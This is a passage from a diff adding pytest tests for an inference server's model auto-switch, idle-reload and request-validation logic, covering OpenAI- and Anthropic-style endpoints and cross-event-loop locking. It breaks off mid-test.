_stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): + # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a + # standalone idle TTL too, not only when auto-switch is on. + from fastapi import HTTPException + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch): + # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a + # standalone idle TTL could never restore the freed model. The early 503 now + # defers to any automatic-load trigger, so the reload hook runs. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + # The handler proceeds past the hook to real generation (no llama-server here), + # so tolerate the downstream failure; the reload having run is the assertion. + try: + asyncio.run( + inference_route.anthropic_messages( + _anthropic_payload(max_tokens = 16), object(), "tester" + ) + ) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_messages_503_gated_on_automatic_load_predicate(): + # Lock the #3 fix at the source: the early 503 must check the shared predicate. + import inspect + src = inspect.getsource(inference_route.anthropic_messages) + assert "_automatic_model_load_may_run" in src + + +def test_raw_body_without_model_reloads_freed_model(monkeypatch): + # #6: a raw completions/embeddings body that omits `model` passed None, which + # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the + # reload run while still resolving as unknown. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_audio_generate_reloads_idle_freed_model(monkeypatch): + # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an + # idle-freed audio GGUF stayed unloaded. The hook now restores it. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + # Falls through to the non-audio backend path (no real model) after the reload; + # tolerate that downstream failure, the reload having run is the assertion. + try: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch): + # The audio reload hook must run after message validation, so an empty request + # never triggers a reload. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = []) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_preview_scope_disables_auto_switch(monkeypatch): + # #7: the public preview route delegates to the chat handler; a caller-supplied + # model must not switch away from the pinned checkpoint. The scope opt-out flag + # makes the hook a no-op. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + + class _Req: + def __init__(self): + self.scope = {} + + req = _Req() + inference_route.disable_openai_auto_switch_for_request(req.scope) + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester")) + assert rec.calls == [] # preview opt-out suppressed the switch + + # Control: a fresh request without the flag would switch. + req2 = _Req() + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester")) + assert len(rec.calls) == 1 + + +def test_preview_chat_is_tracked_as_inference_path(): + # #8: long preview streams use the same backend; the keep-warm middleware must + # count them so the idle loop can't unload mid-response. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/p/my-run/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/v1/models") is False + + +def test_untrack_does_not_reset_idle_timer(): + # #9: external-provider traffic was keeping the local GGUF warm forever because + # untrack stamped _last_active. It must decrement in-flight without restamping. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 1 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 0 + assert kw._last_active == before # idle timer not reset by an untracked request + kw._inflight = 0 + + +def test_note_start_does_not_reset_idle_timer(): + # The start stamp was removed so an external request that is later untracked + # cannot reset the timer at start either; in-flight count still protects it. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + kw._note_start() + try: + assert kw._inflight == 1 + assert kw._last_active == before # start no longer stamps activity + assert kw._is_idle(1.0) is False # but in-flight still blocks unload + finally: + kw._note_end() # restores _last_active stamp on completion + + +# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ── + + +def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch): + # Codex P2: a raw-body request that omits `model` must never run the resolver, + # so a downloaded GGUF literally named "default" can't be switched to. The + # resolver here would switch to B if it ran; it must not. + backend = _FakeBackend("org/A-GGUF") # a model is already loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert rec.calls == [] # resolver skipped (would have switched to B otherwise) + + +def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): + # The reload-only sentinel must still restore an idle-freed model (the round-9 + # behavior), it just never runs the resolver. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def _anthropic_payload_with_tools(tools, max_tokens = 16): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "org/B-GGUF", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + tools = tools, + ) + + +def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed client tool (no input_schema, no server-tool type) must + # 400 before the auto-switch hook, so an invalid request never evicts the model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_anthropic_validates_tools_before_auto_switch(): + # Lock the order at the source: tool-shape validation precedes the hook, for + # both /messages and /messages/count_tokens (shared helper). + import inspect + for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + src = inspect.getsource(fn) + assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + + +def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): + # Codex P2: combining an Anthropic server tool (type) with a custom client tool + # (input_schema) is unsupported and must 400 before the switch, so the request + # can't evict the loaded model only to be rejected after the load. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools( + [ + {"type": "web_search_20250305"}, # server tool + {"name": "my_func", "input_schema": {"type": "object"}}, # client tool + ] + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +# ── codex review (round 2): schema-default model, Responses tool validation ── + + +def _chat_msg(text = "hi"): + from models.inference import ChatMessage + return ChatMessage(role = "user", content = text) + + +def _responses_payload(*, tools = None, set_model = True): + from models.inference import ResponsesRequest + + kwargs = dict(input = "hi") + if set_model: + kwargs["model"] = "org/B-GGUF" + if tools is not None: + kwargs["tools"] = tools + return ResponsesRequest(**kwargs) + + +def test_switch_model_for_payload_only_switches_when_explicit(): + # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only; + # an explicitly set model -- including a literal "default" -- is honored. + from models.inference import ChatCompletionRequest + + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit_default) == "default" + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF" + + +def test_omitted_schema_model_skips_resolver(monkeypatch): + # End to end: a schema request omitting `model` must not run the resolver, so a + # GGUF named "default" is never swapped to; an explicit model still switches. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(omitted), object(), "tester" + ) + ) + assert rec.calls == [] # resolver skipped + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(explicit), object(), "tester" + ) + ) + assert len(rec.calls) == 1 # explicit model still switches + + +def test_build_chat_request_propagates_omitted_model(): + # _build_chat_request must not turn an omitted Responses model into an explicit + # "default", or the non-streaming chat re-check would switch on it. + omitted = _responses_payload(set_model = False) + chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) + assert "model" not in chat_req.model_fields_set + explicit = _responses_payload(set_model = True) + chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + assert "model" in chat_req2.model_fields_set + + +def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed function tool (no name) must 400 before the hook, so an + # invalid /v1/responses request never switches or evicts the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _responses_payload(tools = [{"type": "function", "parameters": {}}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): + # A well-formed function tool and a built-in (non-function) tool must pass the + # pre-switch check. Stub the hook so the test stops right after validation. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _responses_payload( + tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + + +def test_responses_validates_tools_before_auto_switch(): + # Lock the order at the source: tool validation precedes the switch hook. + import inspect + src = inspect.getsource(inference_route.openai_responses) + assert src.index("each function tool must have a 'name'") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch): + # Codex P2: a forcing-function tool_choice with no name (Responses shape + # {"type": "function"}) must 400 before the switch, so the streaming path can't + # forward a bad choice and an invalid request can't evict the model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch on an invalid tool_choice") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + # A named forcing choice is accepted (reaches the switch, which is mocked to raise). + ok = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"} + ) + with pytest.raises(AssertionError): + asyncio.run(inference_route.openai_responses(ok, object(), "tester")) + + +# ── codex review (round 3): process-wide swap gate across event loops ── + + +def test_swap_acquires_process_gate_before_load(): + # Lock in the structure: the process-wide gate is acquired before the load and + # always released, so a cross-loop swap can't reach _load_model_impl unguarded. + import inspect + + src = inspect.getsource(inference_route._maybe_auto_switch_model) + assert src.index("_acquire_swap_gate") < src.index("_load_model_impl") + assert "_auto_switch_process_lock.release()" in src + + +# ── codex review (round 4): validate modality + tool-confirmation before switch ── + + +def _chat_request(**kw): + from models.inference import ChatCompletionRequest, ChatMessage + kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")]) + return ChatCompletionRequest(**kw) + + +def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): + # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid + # shape; it must 400 before the switch hook so it can't evict the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): + # bypass_permissions suppresses the confirm gate, so the pre-check must not fire; + # the request should reach the switch hook (stubbed here to a sentinel). + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", + enable_tools = True, + confirm_tool_calls = True, + stream = False, + bypass_permissions = True, + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_chat_audio_input_guards_target_before_switch(monkeypatch): + # Codex P2: a chat request carrying audio_base64 must guard the target before the + # switch -- audio rides the same companion mmproj as vision -- so a text-only + # target can't be loaded and evict the working audio model. Assert the handler + # flags require_vision so the hook's multimodal probe runs. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_completions_rejects_object_prompt_before_switch(monkeypatch): + # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error + # (only a string or array is valid). It must 400 before the switch so a bad shape + # can't load the named GGUF only to be rejected by llama-server after eviction. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_embeddings_rejects_object_input_before_switch(monkeypatch): + # Codex P2: an object input like {"input": {}} is a deterministic client error + # (only a string or array is valid); reject before the switch, like completions. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_oversized_audio_rejected_before_switch(monkeypatch): + # Codex P2: the audio size cap is a cheap, target-independent length check, so an + # oversized upload must 413 before the switch rather than loading a GGUF first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 413 + assert rec.calls == [] + + +def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): + # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream + # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before + # the switch. The old guard only checked explicit tool fields and missed it. + import state.tool_policy as _tp + from fastapi import HTTPException + + monkeypatch.setattr(_tp, "get_tool_policy", lambda: None) # no CLI --disable-tools + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_require_vision_rejects_text_target_before_switch(monkeypatch): + # Codex P2: an image request naming a different text-only GGUF must 400 before + # the swap, so the resident vision model is not evicted for a rejected request. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the load + + +def test_require_vision_allows_vision_target(monkeypatch): + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 # vision target still switches + + +def test_require_vision_ignores_reload_stash(monkeypatch): + # The reload-stash path restores the model the request was already using; the + # modality check applies only to an explicit resolver target, not a restore. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + inference_route, "_target_is_vision", lambda _p: False + ) # would reject if used + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision + + +def test_chat_validates_confirm_and_modality_before_switch(): + # Lock the order at the source: confirm-shape rejection precedes the hook, and + # the hook rejects a non-vision target before the load. + import inspect + + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("confirm_tool_calls requires stream=true") < src.index( + "_maybe_auto_switch_model" + ) + assert "require_vision" in src + hook = inspect.getsource(inference_route._maybe_auto_switch_model) + assert hook.index("require_vision") < hook.index("_load_model_impl") + assert "does not support the image or audio input" in hook + + +def test_messages_have_image_helper(): + from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + + f = inference_route._messages_have_image + text_only = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), + ] + assert f(text_only) is False + img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + assert f([ChatMessage(role = "user", content = [img])]) is True + + +def test_anthropic_request_has_image_helper(): + from types import SimpleNamespace + + f = inference_route._anthropic_request_has_image + text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")]) + assert f(text) is False + text_block = SimpleNamespace( + messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])] + ) + assert f(text_block) is False + dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) + assert f(dict_img) is True + typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + assert f(typed_img) is True + + +def test_responses_and_anthropic_wire_require_vision_from_images(): + # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an + # image request can't evict a vision model for a text-only target. Lock the wiring + # at the source: each hook derives require_vision from the request's images. + import inspect + + responses_src = inspect.getsource(inference_route.openai_responses) + assert "require_vision = _messages_have_image(" in responses_src + anthropic_src = inspect.getsource(inference_route.anthropic_messages) + assert "require_vision = _anthropic_request_has_image(" in anthropic_src + # /messages/count_tokens shares the /messages translation, so it needs the same + # guard: an image count must not evict a vision model for a text-only target. + count_src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "require_vision = _anthropic_request_has_image(" in count_src + + +# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ── + + +def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): + # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the + # switch, like /messages, so a count request can't evict the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch): + # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must + # carry the same require_vision guard as /messages, so it can't evict a loaded + # vision model for a swap that can't serve the request. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _anthropic_payload_with_tools(None) # no tools -> tool validation passes + with pytest.raises(_Reached): + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_audio_generate_is_reload_only(monkeypatch): + # Codex P2: /audio/generate must not switch to a client-named GGUF. A local + # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal + # can't tell an audio projector from a vision one), so resolving the client model + # could evict the working audio model for a target that then fails the audio + # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel. + from models.inference import ChatCompletionRequest + + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["model"] = model + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = ChatCompletionRequest( + model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert captured["model"] == inference_route._RELOAD_ONLY_MODEL + + +def test_note_model_unloaded_clears_reload_stash(monkeypatch): + # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1 + # request can't resurrect the just-unloaded model. (The idle loop unloads via the + # backend directly, so clearing on the route never fights keep-warm.) + import core.inference.llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_unloaded() + assert kw.get_last_unloaded_model() is None + + +def test_unload_route_clears_reload_stash(monkeypatch): + # The /unload route must clear the stash on both the GGUF and non-GGUF branches. + import inspect + src = inspect.getsource(inference_route.unload_model) + assert src.count("note_model_unloaded()") >= 2 + + +def test_non_gguf_load_clears_reload_stash(): + # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF + # branch, so it never lingers until the idle poll (or forever, idle-unload off). + import inspect + src = inspect.getsource(inference_route._load_model_impl) + assert src.count("note_model_loaded()") >= 2 + + +def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): + # Codex P2: a forcing object with no function name must 400 before the switch. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_valid_tool_choice_reaches_hook(monkeypatch): + # A well-formed forcing object must pass the pre-check and reach the hook. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_lifecycle_gate_serializes_across_loops(): + # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks + # inference starting on another. Two loops must never hold the gate at once. + import threading + from core.inference import llama_keepwarm as kw + + state = {"cur": 0, "max": 0} + slock = threading.Lock() + + async def _use(): + async with kw._unload_gate(): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.05) + with slock: + state["cur"] -= 1 + + barrier = threading.Barrier(2) + + def _run(): + barrier.wait() + asyncio.run(_use()) + + threads = [threading.Thread(target = _run) for _ in range(2)] + for t in threads: + t.start() + for t in threads: + t.join() + assert state["max"] == 1 # never held on two loops at once + + +def test_auto_switch_serializes_across_event_loops(monkeypatch): + # Codex P2: the per-loop asyncio lock can't serialize two swaps on different + # event loops in one process. The process-wide gate must, so the two slow loads + # never overlap on the single model slot. + import threading + + backend = _FakeBackend("org/A-GGUF") + state = {"cur": 0, "max": 0} + loaded: list = [] + slock = threading.Lock() + + async def _slow_load( + request, + fastapi_request, + current_subject = None, + ): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.1) # widen the window so an unguarded race would overlap + with slock: + state["cur"] -= 1 + loaded.append(request.model_path) + backend.model_identifier = request.model_path + backend.is_loaded = True + backend._openai_advertised_id = None + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m)) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + barrier = threading.Barrier(2) + + def _run(model): + barrier.wait() # release both threads together so they truly race + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t")) + + threads 